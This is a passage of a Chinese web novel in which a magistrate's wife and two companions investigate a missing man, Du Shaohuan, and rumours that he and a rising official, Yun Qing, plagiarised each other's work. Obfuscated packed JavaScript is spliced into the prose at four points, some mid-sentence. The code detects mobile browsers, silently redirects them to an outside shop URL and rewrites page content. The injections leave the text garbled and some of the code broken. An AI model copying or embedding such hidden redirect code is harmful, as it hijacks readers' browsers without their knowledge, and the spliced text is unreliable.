祝长生眉头轻挑:“什么要求都行?” 元和景点头。 像是有什么想法在心底成型,祝长生眯了眯眼,随后欣然道:“好。” 不过多时,马车速度渐慢,周子萧的声音在一帘之隔外响起:“少卿大人,走过这个路口,就到苍山县的地界了。” 稍事整理后,祝长生应声道:“路边停下即可。” 两地虽走的同一条路,入县的关口却还有些距离。祝长生要在此处下车往西行,苍山县安排来接应的人应当就在不远处了。 对视的刹那,元和景朝他轻扬下巴,道:“万事小心,早去早回。” 说着,她又狡黠地眨了眨眼,补充:“不过嘛……可以比我晚点。” 马车内空间有限,只够祝长生直起半截身子,他伸手将元和景耳边的碎发捋到耳后,呼吸交缠的瞬间,说话声轻柔至极,也郑重至极—— “也祝夫人此行得偿所愿。” 别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973077|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过祝长生后,轿内霎时冷清下来。想当初连新婚夜都未曾见面的两人,现在也已朝夕相处成了习惯,虽然对这短暂的分别早有预料,心里却像这片空气一样猛地陷入沉寂,让元和景一时无所适从起来。 总之,早些将杜少桓的案子了解,也好早些回去见面。 马车沿着大路继续前行,约莫一里后才有了慢下来的趋势。连片山色间,一块块整齐的梯田按阶递下。身旁不乏有扛着锄头的农人走过,刻着“南淮县”三个大字的巨石矗立在路边,而那前方站着的高挑身影,正是十一不错。 清晨出发落日时才到,此行可谓舟车劳顿。元和景最大幅度地舒展着身体,只觉得骨头要被这崎岖不平的山路颠散架了。 边下车边打完哈欠,元和景晕头转向地走到那位头戴斗笠的女子面前,含糊不清地问:“十一,你什么时候到的啊?” 十一将随意抱着的手放下,淡淡道:“刚到不久……这位是?” 元和景顺着她的目光看去,从马车轻巧跃下的周子萧正信步走来,捏着手腕扭着脖子,也是一副疲惫不堪的模样。 “这是周子萧,大理寺司直,祝长生的手下。” 按说之前在大理寺,这两人也曾远远打过几个照面,只是当时以正事为主,且十一并非热衷交际的性格,事情一结束便消失了个没影。所以要说他们的正式见面,今日才算是第一次。 同为习武之人,周子萧和十一身上的气质颇有几分相似,不过前者贫嘴的性格显然极大地消解了这种感觉。待互相认识地差不多后,三人一马车便这么大摇大摆地进入南淮县了。 自从上次得了祝长生的指点,元和景确定的第一步就是去当地县衙看看。借着祝长生给的手谕,他们顺利将杜少桓的一些基本信息打听到手,其中内容也和杜二牛夫妇所说不差,但有关近十年的踪迹,却是无可知晓了。 不过就在所居地名册上,元和景在杜少桓所在的谷丰村里,还发现了云青的名字。 厚重泛黄的书册上,每家每户的信息皆被如实记录。谷丰村的第十户,户主为云老二,其独女的名字正好是云青。 见他们对这页看得格外仔细,一旁的县令主动介绍道:“这家的户主早就死了。不过他女儿是个争气的,当年圣上巡访至此,见这好山好水后顿时兴致大发,办下‘颂南淮’的文章大会……” “就是这个云青,文章写得特别好,一下就被圣上看中,现在啊,去京城里做大官了!” 县令越说越激动,语气里丝毫不掩骄傲。元和景跟周子萧对视一眼,显然都从对方眼底看到了不可思议之色。 云青竟然就是南淮县人。 那当初在大理寺里,杜二牛夫妇突然的失控或许也就能解释得通了。 但既然如此,云青为何要说他们认错人了? 元和景心里疑惑更甚,再加上想起她夫君那日偷偷塞来的纸条,有些大胆的想法在脑海里止不住浮现。 顿了顿,她又使劲摇头,像是要把那些离奇的猜测甩出去。 目前证据尚且不充分,还是不要妄加揣测为好。 走完县衙这一遭,天色也将要黑下来,再加上赶了一天的路,再想调查下去也是有心无力。于是三人就在主街找了家还算大的客栈,用过饭后便各回房间歇息了。 次日一早,早市的吵嚷声将元和景惊醒。或许是昨天太累的缘故,即便是在陌生的地方,她昨夜也睡得十分好。只不过脑子起初里还有些恍惚,总让她想起和祝长生一同醒来的那个早上。 被窝里存了一整晚的热意,但总归是比不上怀抱来得让人心暖。 在客栈里一人喝掉两碗粥、再吃完三匣小笼包后,南淮县的早市也正好进入最热闹的时候。三人先在街上简单逛了逛,借着些摊子老板的口,也算将这里的情况摸了个大致。 虽然地方不比京城,但南淮县也自有一片热闹,想来如果不是地处偏僻,此处的发展应远不至如此。况且这地还有个“女才子之乡”的名头,因而每逢升学科考时节,也会有不少人来访。 27. 离奇抄袭 一路穿过闹市,街头上一面猎猎作响的大旗顿时吸引了众人的目光。 抬眼望去,“老王水果,百年老字号”的几个大字正在风里忽闪忽闪着。 元和景:“水果店也有百年老店的说法?” 说是百年老店,那其实也就是个搭了个棚的水果摊子,分门别类的木格子里摆着不同种类的水果,红得艳,绿得嫩,仅从品相来看还算是不错。 周子萧无所谓地耸了耸肩:“可能祖上就是卖水果的,总之是个土生土长的本地人,打听消息保准行。” 刚说完,一旁许久未出声的十一突然道:“你们去,我在县里其他地方寻找线索,结束后客栈见。” 还不等另外两人同意,十一便抬步朝对面的街口走去。周子萧刚想开口拦,就被一脸了然的元和景打断。 “十一不擅长跟人打交道,咱俩走吧。” 周子萧看上去有些郁闷,问:“你怎么知道她不擅长?况且要这么说的话,你又是怎么跟她打上交道的?” 看到交际能手吃瘪的样子的确很让人有成就感,元和景得意地扬了扬眉,边走边道:“当然是十一喜欢我,而不喜欢你咯。” 上前时最后一位客人正好离开,摊主是个约莫四十来岁的中年男人,普通百姓打扮,笑容亲和热情,面相上又含着几分生意人的精明。 “哟,两位客人看着面生啊,来买水果?” 元和景笑意粲然,摆摆手道:“不是不是,我们是来……” “啊是是是!”落后半步的周子萧眼疾手快将人拉住,然后飞快接过话头,“我看你的水果都挺不错的,这苹果怎么卖啊?” 摊主先是犹疑着在两人之间扫视一圈,而后又挂出接待客人时的招牌笑容,伸着手介绍道:“不贵不贵,这苹果都是我自家种的,又香又脆,比那店里卖的还便宜……” 面对着滔滔不绝的摊主,元和景有些呆滞地眨了眨眼,胳膊突然被不轻不重地撞了下,周子萧的声音在离她很近的地方响起—— “大小姐,这你就不懂了吧,生意人不赚钱,哪能跟你有话说呢。” 元和景本想反驳,但突然想起早市里询问过的老板都兴致缺缺、言辞含糊的样子,最后还是什么都没说。 一番精心准备的水果介绍词说完后,摊主一脸期待地看着两人,试探着问:“两位要不随便来点?看你们是外地人,我给你们打折。” 稍事反应后,元和景立马上道地接话:“那行,那就随便来点。” “诶好嘞,我给你拿个篮子。” 趁着摊主乐呵呵找篮子的空当,周子萧斜倚在柜台边沿,状似无意地闲聊起来:“诶老板,你知道云青吗?” 元和景随意挑着苹果的手一顿,扭过头用眼神询问:“你打听云青干什么?” 周子萧姿势没变,只有搭在边沿的手朝她悄无声息地做了个“稍安勿躁”的手势。 而那摊主听到这话后更是来劲,亢奋地一拍大腿后高声说:“那谁不知道啊?她可是咱们南淮县的骄傲嘞,当年啊……” 并非是作者懒得写,而是这摊主所说跟昨日县令的话几乎没什么区别,只不过语气更为热烈、描述也更为夸张而已。 “要是家里有人考试啊,那我可强烈建议你们去文殊菩萨庙,到旁边云青亲笔写的文章前头拜一拜,我跟你讲啊……百试百灵诶,当初……” 待摊主发表完这番激动人心的宣讲后,周子萧又问:“原来是这样啊,那你知道杜少桓吗?” 元和景在一旁尽职尽责饰演着买水果的顾客,闻言不经意抬头朝摊主看了一眼。却见他像是哑火的炮仗似的,不仅登时没了声儿,面上也露出些愁眉苦脸的神色来。 “杜少桓,杜少桓……这名字还有点耳熟。” 本以为又要无功而返,这句话却让两人不由自主提高了警惕。迎着两双热切得有如实质的视线,摊主挠了挠头,半晌后才尴尬地开口:“知是知道,不过……不太好说。” 周子萧应对这种局面也不算少,闻言立刻会意道:“水果我们再买两篮,不用打折了。” “欸欸欸我不是这个意思……”摊主面露难色,吞吐了好一会,他才压低声音道,“不是买不买东西的问题,就是这杜少桓啊,品行不端,不是个好人。” “老板何出此言?” 摊主无奈地叹出口气,又朝周子萧凑近了些,然后才神神秘秘地道:“这事对咱们南淮县形象不好,所以不能随便往外头说,但你们要是真想知道,我就勉为其难告诉你们,不过啊,你们可千万别宣传出去。” 元和景跟周子萧赶紧拍着胸膛保证:“放心吧,我们也就听说了这个人,然后随意打听打听,哪有那闲工夫往外说啊。” 话及于此,摊主再不说些什么才算是不对。可或许是刻在骨子里的商人基因突然觉醒,他搓了搓手,又把旁边的橙子拿起一个,道:“你看这……” “买买买!来一篮!”元和景大手一挥,当机立断做了决定。 摊主麻溜地又递来个篮子,笑得眼角都快生出褶子来:“老板大气,老板大气啊!” 做完这些,他又换上副遗憾的表情,叹气道:“诶,这个杜少桓啊,当年抄袭过云青。” “什么???” 元和景与周子萧异口同声地惊呼,后者甚至险些将嘴里的苹果块吐了出来。 “嘘……小声点儿啊!” 摊主顿时如临大敌,伸着脖子朝两人凑得更近:“当年的‘颂南淮’文章大会,这杜少桓也参加了。规定是大家把写好的文章贴在县衙门口的公文榜上,就在最后一天,云青早上刚把自己的文章贴完,中午杜少桓就拿来篇一模一样的往上贴,这可不就是抄袭吗?” “诶哟,我虽然没亲眼看见,但据说是一个字都不差嘞。这小子胆子也忒大了些,当场就被人追着扔鸡蛋和烂菜叶子,真是把脸都丢尽了!” 这番话的信息量太大,两人一时间立在原地根本反应不过来。待回过神时,方才只装了一半的竹篮里又被放进好几个橙子,摊主还一脸认真地说着:“这个绝对甜、这个肯定也不错……” 深吸一口气后,元和景又问:“那后来呢,杜少桓去哪了?” 摊主放橙子的动作凝滞一瞬,而后道:“这我就不知道了,反正自那之后,他就成了过街老鼠。说不定是自己觉得没脸见人,躲到其他地方去了吧。” 如此,便是再问不出什么了。 在这小小的水果摊里能有如此收获,的确出人意料,只是两人此时心中已然千头万绪,实在没时间高兴。了然地点点头后,周子萧又装出客人的样子,道:“原来这样啊,那行,结……” “账”字堵在喉咙里半晌没吐出来,只因为一旁的桌子上,三篮苹果和两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977416|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篮橙子已经装好了。 “结账是吧,好……稍等我给您算算。” 摊主熟练地接上话,紧接着就拿起算盘,手指飞快地拨弄起来,嘴里还念念有词着什么。而元和景跟周子萧不约而同地对视一眼,其中感觉不妙的情绪如出一辙。 “好嘞,去掉篮子的钱一共是……” 边说着,摊主手上殷切地将水果往他们手里递,赚大发了的心情已然展露于脸上,因而话也变得更多起来:“看在两位是外地来的客人,买的有这么多,篮子就不要钱了,这苹果姑娘家多吃,美容养颜的哦……” 半刻后,两人一只手拎着一个篮子走出摊位。 元和景尝试着把手臂往上提,沉重的阻力顿时袭来,她忍不住感叹:“这老板还挺实在的。” 周子萧没说话。 像是突然意识到什么,元和景带着近乎飘渺的一点希望,虚弱地问道:“咱们的钱,还剩的有吧?” 大理寺出门办案可申请使用公款,用于途中的车马吃住等各种开销。不过数目需在合理范围内,且同一案件不可多次申请。 也就是说,要是把这笔钱花没了,之后的费用就得他们自掏腰包了。 好一会没听到会应,元和景有些焦急地看向对方,却正好对上那双含着绝望的眼眸。 周子萧僵硬地摇摇头,说:“没了。” 元和景:“一分都没了?” 周子萧:“半分都没了。” 完了! 回客栈的路上,两人尽量乐观地讨论了“吃水果能管饱”的可能性,没一会云青回来,进门看见的,就是一男一女对着桌上几篮水果止不住地唉声叹气。 十一破天荒地主动开了口:“这是……” 元和景满脸生无可恋:“午饭。” 周子萧补充:“还有明天、后天和大后天的饭。” 十一:“……” 三人围坐着啃苹果,十一抽空将调查来的情况简单说了。水果摊老板说的不错,从此处沿东街走到头,的确有一家文殊菩萨庙,庙里门可罗雀,旁边贴着的那篇字前却是排满了人。 旁边甚至还专门配了收费人员,只要钱到位,让你上手摸一摸也不在话下。不少人排了老半天,只为能对着这份真迹亲自拜上一拜,更有甚者想花大价钱将其买下,数额之高竟令十一也稍有动容。 “这么夸张?文殊菩萨好歹也保佑了人们好几百年,云青的文章竟有这样大的本事,能从神仙那里分一杯羹。” 元和景本来对水果摊老板的话还不甚相信,但听过十一这番描述后,却由不得她不信了。 周子萧轻哼一声,似笑非笑道:“这有什么不好理解的?那菩萨再厉害,也只是传说故事里的人物。但云青不一样,那可是活生生的例子。比起虚无缥缈的东西,当然是这种发生在身边的更容易让人得到鼓舞。” 说着,他拿起个苹果随手抛起又接住,语气玩味:“不管是真心求上进,还是做白日大梦,云青显然都是更好代入的对象。” 就这么简单地凑活完一顿午饭后,今日的调查也算暂时告一段落。当初讨论的“水果到底抗不抗饿”也算是有了结果,因为还未到睡下时,元和景已然饿得前胸贴后背了。 杜少桓的案子还没什么实质性进展,钱却花得一点不剩,历史上第一个饿着肚子探案的人,恐怕也就是她了吧。 28. 谁抄的谁 江湖传言,人在睡着时是感觉不到饿的。因此,如果你晚上饿了却没有吃的的话,快些入睡便是最好的解决办法。 但关键是,先要能睡得着啊啊啊啊啊啊! 抱着被子又翻了个身的元和景在心里无声咆哮。 “咕咕咕……” 肚子里止不住地发来抗议,约莫半秒后,元和景终于忍无可忍地起身,飞快穿好衣服后,便推开门直奔隔壁而去。 不过多时,十一淡然而平静的脸出现在她眼前。 “那个啊……”元和景有些不好意思地搓搓手,把声音压低了好几个度,“你想吃鸡腿吗?我带你去。” 十一眉头轻皱,却没说话,显然是正在思考此事的可能性。 元和景一看有希望,连忙拉着她的胳膊悄声解释:“我知道周子萧把钱都花光了,不过没关系,我毕竟是堂堂少卿夫人嘛,身上总归有些小钱,供我俩大吃大喝一顿肯定是没问题的。” 生怕她不答应,元和景边说边眨着圆溜溜的大眼睛,作出一副期待至极的模样。而更让人感到振奋的是,十一的肚子也在此时很配合地“咕噜噜”叫了一声。 静默片刻后,那张泰山崩于前都面不改色的脸终于出现了一丝裂缝,十一道:“那便叫上周……” “欸欸欸……”元和景连忙打断,拉着她的手开始晓之以理,“咱们公用的钱能花光都是周子萧的错,所以那些水果就让他一个人吃去,但咱们没必要陪他受苦啊。就该让他光吃水果长长记性,你说是吧?” 这番话推卸责任的意味很是明显,但元和景说得底气十足。因为钱确实是周子萧亲手给出去的,况且要真把这个一次能吃三大碗的人叫上,她那点可怜的碎银子可就远远不够用了。 十一顿了顿,还想再说些什么,按捺不住的元和景直接将人拖走。现下将要夜半,晚市早已落入尾声,还剩下的寥寥几个摊位,也都在收拾准备打烊了。 两人沿街一路奔走,总算找到家还在营业的小饭馆。 既已落魄至此,也便没什么好讲究的。粗略看过环境尚可后,元和景便迫不及待地拉着十一进去。可这下,却让她发现了更不得了的东西—— 本该待在客栈里的周子萧,此时却坐在一大桌好菜面前,抱着猪肘子啃得正香呢。 饭菜香气勾得人止不住流口水,而怒火在此时更占上风。元和景几个大跨步走到周子萧身前,抬手重重地将桌面一拍,高声道:“你竟然敢背着我们吃独食!” 夜里本就安静,客人也只是稀稀拉拉几个,这声动静别说周子萧,连柜台前拨算盘的掌柜都被吓了一大跳。 吃得满嘴流油的周子萧先是浑身一震,待反应过来后又变得理直气壮起来。他将猪蹄放回碟子里,拍拍手道:“光知道说我,你呢?” 说着,他又用下巴指了指元和景背后的十一,声音越发有底气:“还有你……不都是来吃独食的吗?还好意思说我,五十步笑百步。” 元和景虽然饿得极了,嘴上功夫却是一点不能落下,叉着腰便反驳:“是又怎样?但那也有个你先我后吧,你这家伙平时看起来道貌岸然,背地里却是个吃独食的,我回去就把这件事告诉所有人!” “你告诉那我也告诉,谁怕谁啊……” “我是奔着吃饭来的没错,可我也不算吃独食啊,我还把十一叫上了。” “那你没叫我啊,三个人你只叫两个,那也算吃独食……” 两人你一言我一句吵得有来有回,但其他顾客也许是听出这并非什么八卦趣闻,便也不再过多关注,就连掌柜和伙计都觉得没什么可劝架的必要,待在原位一动没动。 旁边的十一虽处在风暴中心,看上去却比谁都淡定,她默默听了会,然后寻到最近的凳子坐好,自顾自开始吃饭。 吵了一会,饥饿感和口渴感同时袭来,元和景的满腔火气终究是被现实打败。不知是谁先没了下一句,她也扶着凳子顺势坐下,夹起个外焦里嫩的鸡腿便开始大快朵颐。 叮叮当当的碗筷碰撞声响了好一阵,不过因为声音清脆,倒也没破坏这夜深人静的氛围,反而是旁桌两个男人的低沉嗓音,在这环境中显得格外突兀。 背对着三人的男子看起来年纪更大些,一口酒下肚后,叹息声也随之而来:“眼看着儿子去参加童试了,我家里那口子整天就跟失心疯了一样,吃也吃不好睡也睡不好,害我也跟着不消停。” “啧……”坐他身旁的另一个男人摇摇头,夹了颗花生米丢进嘴里,边嚼边说,“这也算大事了,找时间你去文殊庙那边拜拜云青的文章呗,让这位大才女保佑你儿子,花不了几个钱。” 毕竟是人家的家长里短,随便听了去也不好。元和景正打算收回无端被调去的注意力,就听见一开始说话那男子的回应:“拜那个剽窃犯干嘛啊?她文章是抄来的,拜了也不怕沾晦气。” 另一男子不出意料地激动起来,瞪着眼睛险些喊出声,好不容易才把音量压了下去:“这种话可不敢乱说啊,人家现在在京城里飞黄腾达了都。” 不知是那句话激起了他的不满,男人语气里带上明晃晃的轻蔑:“你忘了?我爹是教书先生,当年亲自教过云青。那篇文章公布出来的时候他就看过,说这绝对不是云青写的,倒像是他另一个学生的文风。” 看着同伴惊得下巴快掉地上的表情,他更加信誓旦旦:“刚知道这事儿的时候,我跟你的样子简直一模一样,所以我记得特别清楚,绝对不会有假。” “天娘的,能写出让皇帝老头喜欢的文章,那她到底抄的谁啊?” “你凑近点,这秘密我谁都没说过,今天就悄悄告诉你。” 后面的内容元和景就听不清了,可等她回过神后,陷入的却是更深的迷茫。 扭头看看左边,再看看前边,两人同样是一副百思不得其解的样子。用力清了清嗓子,元和景总算找回些理智,问:“这事儿……还查吗?” 毕竟他们原本是为寻找杜少桓下落而来的,但眼下种种迹象都表明,他的失踪跟云青当年往事有着千丝万缕的关系。 无论当年真相如何,云青的能力和为人他们都看在眼里,能从偏远县城一步步爬到大理寺评事兼录事的位置,绝非是单纯的抄袭者可做到的。 她站在了高处,便是有人祝福有人忮忌,有人愿她扶摇直上九万里;也有人拼命诋毁,巴不得用烂泥将她从天上砸到地里。 所以这些道听途说的话,不可尽信。 但要是彻底放弃这条线索,寻找杜少桓的进度便又归于零,再想找到突破口也不知是什么时候了。 饭桌上一时沉默,旁桌的人则是已经吃饱喝足,付过钱后就起身离开,独留一桌冷透的残羹剩饭。 要想追到那男人问个清楚的话,现在便是最好、也是最后的机会。 元和景做了个深呼吸,十一却在此时很罕见地先开了口:“寻人归寻人,与其他事无关。” “对。”周子萧点点头,眼眸一片清明,显然已做好决断,“我们是为找杜少桓而来,其他的无论真相也好谣言也罢,不相干的一概不管。” 两人脸上的表情有些过分严肃,元和景没忍住笑出声来,心底有不谋而合的欣喜悄然蔓延,发笑的原因或许不止于此。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985700|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没错,咱们是来查案的又不是来听八卦的,来南淮县这么久,明天也该去杜少桓家里看看了吧。” “我同意!” “我没意见。” 一拍即合后,碗里的饭都更香了些。待吃饱喝足后,元和景拉着十一顺理成章地当起甩手掌柜,眼睁睁看着周子萧掏出自己的钱付了账单。 吃得饱睡得香,后半夜在睡梦中安然度过。翌日清晨,元和景慷慨地垫付了早餐,三人借着前天在县衙里得来的地址,一路边走边问着到达了目的地。 简易的竹篱笆围成小院,泥墙土瓦搭成的房屋在这里遍地都是,杜二牛和何清莲目前还在京城,因此屋门都紧紧锁着,从外面也根本看不出有何问题。 云青家距离杜少桓家并不远,他们在县衙的记录上也有所察觉。即便看起来相差无几,待遇却天差地别,后者只是普通房屋,前者已是南淮县的标志性景点之一了。 作为景点,里面自然是不允入内,门口的石碑上写了云青的生平,他们围成一圈仔细看过,最后只锁定出其中一行—— “云青文采斐然,十一岁时曾和好友杜少桓共同赢得学堂‘庆中秋’诗词大赛魁首。” 也就是说,云青和杜少桓不仅同乡,而且还是关系极好的朋友。 即便许久未见,又或是闹了矛盾,都不至于在听到昔日挚友失踪时表现得像没事人一样吧…… 云青的反应,似乎已经不能用奇怪来概括了。 整理好思绪后,三人又打算向周围邻居打听一番。此时已然太阳高悬,正是忙碌的时候,许多人家都出去做活了,少数几个没锁门的,也基本是妇人小孩在家,叫一声就会出来,待人也十分热情。 可接连问过好几家后,得到的回答都是“杜少桓啊,他爹妈说他到京城赚大钱去了啊,杜二牛几乎天天在地里吹嘞,说他儿子成了城里人,月俸几百两银子……” 周子萧听得一次比一次脸黑,最后终于忍不住吐槽:“本司直的月俸都没几百两呢,这杜二牛可真敢说。” 元和景也擦了擦额头冷汗,等人走进屋后才敢发出几声无奈又好笑的感叹。 眼看着人都问得快差不多,得到的线索却寥寥无几。最后那户的家里也只有一位中年妇女在,不怎么抱希望地询问过后,对方给来的答案也和上面如出一辙。 这可恶的杜二牛,名字里的两头牛恐怕都是被他吹起来的吧! 元和景忿忿地想着,而那位妇人眯了眯眼,接着话锋一转,道:“不过嘛……事情肯定没那么简单。” 十一微不可察地皱眉,淡声问道:“何出此言?” 妇人摆摆手,脸上露出了然的表情,拖着调子说:“我能这么说,那就是知道些别人不知道的东西咯,这杜二牛看着趾高气扬的,有些事情啊,怕是他也被蒙在鼓里的哦。” 听完这番话,原本不感兴趣的人也得来听上两句了。元和景连忙追问,她却故作矜持地笑了笑,抬到半空的那只手手心向上,含义自不必多言。 滴水之恩都要涌泉相报呢,天下又哪有白听故事的道理? 这话虽没错,但更重要的是,他们现在没钱啊…… 元和景装模作样地掏了掏口袋,伸出的手里却还是空的,只能对着人干巴巴地傻笑几声。周子萧脸色同样不尴不尬,十一则是轻咳了两下,侧过身不愿见到这番情景。 妇人见状,脸色肉眼可见地垮了下来,作势就就要往里走。元和景跟周子萧赶紧要去拦时,一只白净有力的手却更快一步出现,那指尖捏着的,正是一锭白花花的银子。 “有劳您接着说。” 29. 不止同窗 仅用余光瞥过一眼,那妇人立马又换了副脸色,乐乐呵呵地把银子接过揣进口袋,笑着道:“诶,您瞧瞧这,这多不好意思啊,其实我也就稍微知道点……” 没空感叹她变脸之快,元和景回身去看,来人墨发素冠,长身青衫,正是祝长生不错。 碍于妇人还在跟前,周子萧只能极小幅度地作了个揖,十一抱着臂一言不发,看着来人的表情喜怒未明,显然没有想说话的打算。 于是元和景挪到他身边,用肩膀将人撞了撞,而后小声问:“你怎么来了?” “苍山县一行目的已达到,来看看你们这边进度如何。” 祝长生单手负于身后,面目温和,说话也客气,再加上有一锭银子的加持,妇人自看见他后嘴巴就没合拢过。元和景对这种旁门左道的方式鄙夷不已,嘟哝道:“还打着赌呢,要是输在我手上你就完了。” 将妇人递来的欣赏眼神微笑接过后,祝长生也侧着头同她咬耳朵:“我输倒不要紧,就怕是某些人输了要耍赖,那时候才真是完了。” “肯定不是我。” 愤然说完这句,元和景就主动将距离拉开了些,决定专心听妇人说话,不再搭理这个到处惹是生非的臭狐狸。 又扯了些旁的事,将众人胃口都吊到最大时,妇人才压低声音进入正题:“要我说啊,那杜少桓十有八九啊,是去京城找云青去了。” 听到这话,元和景再次想到云青家里那个口不能言、身不能动的男人来…… 他会是杜少桓吗? 可若真是如此,事情又怎么会变成现在这样? 还是祝长生最先反应过来,他敛下情绪,装成外来游客的姿态不动声色道:“我听说过这位云青,因文章受到圣上青睐而走上仕途,可杜少桓又怎么会跟她扯上关系呢?” “诶,这你们就不知道了吧。”妇人动作夸张地摆摆手,“他俩不仅小时候上一个学堂,关系也好得不得了嘞,跟你们城里说的那个什么牛什么马……” “青梅竹马。” 周子萧适时提醒道。 妇人一拍脑袋:“啊对对,就是青梅竹马。” 恍然大悟过后,她又“咯咯”地笑起来,神色也悄然变得微妙:“而且啊,我之前还在后山的坡上,看见他俩亲嘴了嘞。” “亲嗯……!” 惊呼被元和景硬生生吞了回去,毕竟他们现在只是闲着无聊瞎打听的身份,表现太夸张不免会引得怀疑。其他几人虽没这么大动静,可皆是面色怔滞,俨然也被这消息吓得不轻。 见他们不说话,妇人又自顾自地感叹起来:“这俩孩子也不容易,就说云青那个整日酗酒的爹,简直要把家都搞垮了。杜少桓这孩子人还不错,文文气气的对云青也好,就是他爹妈不乐意两个孩子待一块,想着法子要把他们拆散。” “所以跑到京城去,离这小地方远远的,对他们也好啊。” 在妇人的想象里,云青和杜少桓这对苦命鸳鸯,现在应该在京城里不愁吃喝、幸福美满地生活着。而前几日所经历的种种都在告诉元和景,现状绝非是这样。 云青是成了大理寺官员不错,虽然忙碌,但月俸也同样可观。只有杜少桓,无故远走他乡,在京城十年却毫无踪迹留下,若非有定期寄给杜二牛夫妇的书信,简直就像是人间蒸发了一样。 可要是他被囚禁在暗无天日的黑屋里无法行动、每月寄信的也并非本人,这一切似乎就能解释得通了。 要说刚好符合这些条件的人,元和景早已见过。 原来不是找不到杜少桓,而是在刚介入这个案件时,她便已经找到了。 电光火石间,当下更要紧的一件事在脑中闪过,容不得再多考虑,元和景当机立断道:“该回去了。” 假如这一切都成立的话,云青既然能将杜少桓关在身边这么多年,短期内自然也不会对他做什么。但如今大理寺是云青坐镇,想单独接触到杜二牛夫妇并做些什么的话,现在便是最好下手的机会。 再结合方才妇人所说,云青会对这两人好生相待的可能性,也是聊胜于无。 在路上大致将前因后果说过,四人当即就决定连夜往回赶。彼时已至下午,夜里的路又难走,再加上身体的困乏实在难扛,这趟必定没有来时那么轻松惬意了。 十一照例借轻功先行一步,元和景则是又坐进了马车。或许常年昼夜不分地办案使然,周子萧和祝长生看起来都还算精神,只有她一上车就感觉浑身都疼。 “我说,你不是狐狸吗?难道就没有什么快速窜回去的法术?” 望着刚进车的另一人,元和景靠在轿厢上无力地打了个哈欠,天马行空地问。 祝长生无奈一笑,道:“你所说之人,应是话本里的神仙,而非是狐族。” 袅袅炊烟在不远处的房屋上接连升起,最后轻轻巧巧地消融在漫天暮色之中。农人扛着锄头,黑牛将尾巴甩得噼啪作响,风归于寂鸟归于巢,他们却在这片万物落定的安然中启程了。 心头怅然感顿生,元和景一口气还未叹出,便听见身侧那人道:“若是困了,便躺下睡吧。” “说得轻松,可哪有床啊?” 元和景懒洋洋地扭过身子往后看,正好见祝长生朝她招招手,而后在自己平稳放置的腿上拍了拍。 “你……” 怎会看不懂他的意思呢?但复杂的情绪涌来,叫元和景一时竟不知该说些什么。 况且在南淮县折腾这么些天,她也确实是累了。 眼看着男人又要说话,元和景连忙抢过先机,一边歪着身子小心翼翼躺过去,一边尽量用满不在乎的语气道:“你以为我要说感谢你的话吗?才不是呢,我才不会跟你客气。” 待躺下后,眼前画面已然翻转,她只能看到并不明亮的车顶,还有祝长生流畅而清晰的下颚线。 低头时有几缕发丝从肩头滑落,祝长生并未在意,只是抬手将元和景额角的碎发梳好,并不反驳,话里反而还带着些笑意:“你我之间,本就不需要客气。” 细而软的发梢扫过肩头,分明还隔着衣料,却莫名弄出几分小虫爬过似的痒意。元和景将其一把抓过,就这么又分成了三小缕,接着无所事事地编起辫子来。 只看过一眼,祝长生就随她去了,直起身子时又恢复端正的仪态,双眸轻阖,似憩非憩。 身体的疲惫感逐渐消散在还算柔软的坐垫上,腿的高度则是和枕头正好差不多,躺着并未叫人感到不适。元和景先就着祝长生的头发编好半截辫子,感觉太干瘪就拆开,拽出些自己的发丝加在一起后,又重新开始编。 一个肥滚滚的小辫自手中成形时,她正好也觉得胳膊酸,再加上困意温和袭来,不一会便将脑海中所有意识掠夺了去。 山路崎岖,马车的颠簸感尚能接受,睡梦中似乎有只手一直托着自己的肩膀,故而会滚下去的危机便也不必再考虑。 恍惚间听到有人说再慢点,不过声音实在含糊,或许只是梦中片段而已。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989824|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >待规律的震颤重新回到身体时,意识也跟着一点点复苏,元和景循着本能睁眼,率先看到的依然是车顶,还有祝长生线条分明的下巴。 维持一个姿势睡太久也会麻,她皱着眉动了动手和腿,眼前的男人却一动不动,像是根本没感觉到似的。 